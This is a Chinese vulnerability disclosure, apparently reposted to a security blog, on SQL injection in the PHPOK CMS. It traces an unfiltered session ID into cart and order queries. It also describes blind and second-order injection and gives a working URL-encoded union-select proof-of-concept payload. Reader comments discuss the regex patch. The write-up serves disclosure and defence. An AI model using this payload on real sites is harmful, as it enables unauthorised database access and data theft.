phpok 最新版sql注入打包

漏洞作者: 路人甲

网站在初始化的时候会装载一些资源引擎,其中装载了一个session_file.php,用于初始化session

文件framework/engine/session/file.php:

function __construct($config)
	{
		if(!$config || !is_array($config))
		{
			$config["id"] = "PHPSESSID";
			$config["path"] = "./data/session/";
			$config["timeout"] = 3600;
		}
		$this->config($config);
		$sid = $config["id"] ? $config["id"] : "PHPSESSION";
		session_name($sid);
		$this->sid = $sid;
		$session_id = isset($_POST[$sid]) ? $_POST[$sid] : (isset($_GET[$sid]) ? $_GET[$sid] : "");
		if($session_id)
		{
			session_id($session_id);
			$this->sessid = $session_id;
		}
		else
		{
			$this->sessid = session_id();
		}
		session_save_path($config["path"]);
		$this->config = $config;
		$this->timeout = $config["timeout"] ? $config["timeout"] : 600;
		session_cache_expire(intval($this->timeout)/60);
		session_cache_limiter('public');
		session_start();
	}

$session_id = isset($_POST[$sid]) ? $_POST[$sid] : (isset($_GET[$sid]) ? $_GET[$sid] : "");

这里$session_id 直接从get或者post中获取,没有进行任何过滤.

$this->sessid = $session_id;

然后保存$session_id。

再看文件framework/www/cart_control.php:

function __construct()
	{
		parent::control();
		//取得当前的购物车ID
		$this->cart_id = $this->model('cart')->cart_id($this->session->sessid(),$_SESSION['user_id']);
	}

这里调用了一个cart_id的方法,其中第一个参数 就是$this->session->sessid()

function sessid($sid="")
	{
		if($sid) $this->sessid = $sid;
		return $this->sessid;
	}

可以看到 $this->session->sessid() 实际上就是之前的$session_id值。

再看方法cart_id

function cart_id($sessid,$uid=0)
	{
		if(!$sessid) return false;
		$sql = "SELECT id FROM ".$this->db->prefix."cart WHERE session_id='".$sessid."'";
		$rs = $this->db->get_one($sql);
		if(!$rs)
		{
			$array = array('session_id'=>$sessid,'user_id'=>$uid,'addtime'=>$this->time);
			$id = $this->db->insert_array($array,'cart');
		}
		else
		{
			$id = $rs['id'];
		}
		//如果已经是会员
		if($uid)
		{
			$sql = "SELECT id FROM ".$this->db->prefix."cart WHERE user_id='".$uid."'";
			$rs = $this->db->get_one($sql);
			if($rs && $rs['id'] != $id)
			{
				//合并购物产品信息
				$this->cart_merge($rs['id'],$id);
				//删除旧的购物车信息
				$this->delete($rs['id']);
			}
			//更新购物车属性
			$sql = "UPDATE ".$this->db->prefix."cart SET user_id='".$uid."' WHERE id='".$id."'";
			$this->db->query($sql);
		}
		return $id;
	}

$sql = "SELECT id FROM ".$this->db->prefix."cart WHERE session_id='".$sessid."'"; 这里直接将$sessid带入到sql语句中直接,再未开启GPC的情况下,可以实现sql注入。但这里面没有回显,报错也被关闭了,可以利用时间盲注。当然我们还可以利用二次注入,且看下面:

在cart_control.php中:

function index_f()
	{
		//取得购物车产品列表
		$rslist = $this->model('cart')->get_all($this->cart_id);
}

function checkout_f()
	{
		//echo "<pre>".print_r($this->site,true)."</pre>";
		$rslist = $this->model('cart')->get_all($this->cart_id);
}

这些方法中都用了$this->model('cart')->get_all($this->cart_id);

function get_all($cart_id)
	{
		if(!$cart_id) return false;
		$sql = "SELECT * FROM ".$this->db->prefix."cart_product WHERE cart_id='".$cart_id."'";
		$rslist = $this->db->get_all($sql);
		if(!$rslist) return false;
		foreach($rslist AS $key=>$value)
		{
			//如果未指定tid,跳过
			if(!$value['tid']) continue;
			$arc_rs = $this->call->phpok("_arc",array("id"=>$value['tid']));
			if($arc_rs)
			{
				$value = array_merge($arc_rs,$value);
				$rslist[$key] = $value;
			}
		}
		return $rslist;
	}

可以看到cart_id带入到了sql语句中,这样二次注入就可以实现了

poc:index.php?c=cart&PHPSESSION=%27%20union%20select%20%27%5C%27%20union%20select%201%2C2%2C3%2Cuser%28%29%2C5%2Cdatabase%28%29%2C7%23%27%23

21123444879139c7cb1fe468360366485ba6bfdf[1]

 

同样的漏洞还出现在 order_control.php:

class order_control extends phpok_control
{
	function __construct()
	{
		parent::control();
		//取得当前的购物车ID
		$this->cart_id = $this->model('cart')->cart_id($this->session->sessid(),$_SESSION['user_id']);
	}//这里同样的错误,直接带入数据库了 和前面一样的道理

function create_f()
	{
		$rslist = $this->model('cart')->get_all($this->cart_id);//这里可以执行二次注入

2 条评论

  1. Jesse

    官方仅仅是只打了正则过滤的补丁吗?
    if($session_id) //&& preg_match("/^[a-z0-9A-Z\_\-]+$/u",$session_id))
    我测试了一下:
    $sql = "SELECT id FROM ".$this->db->prefix."cart WHERE session_id='".$sessid."'";
    $rs = $this->db->get_one($sql);
    dump出来sessid这个变量里面的数据是转义过的,%27会被转义成\"
    我的server没有magic_quote_gpc

    1. 0day5
      @Jesse

      由于文章来源网络,所以并没有对此进行验证~

发表评论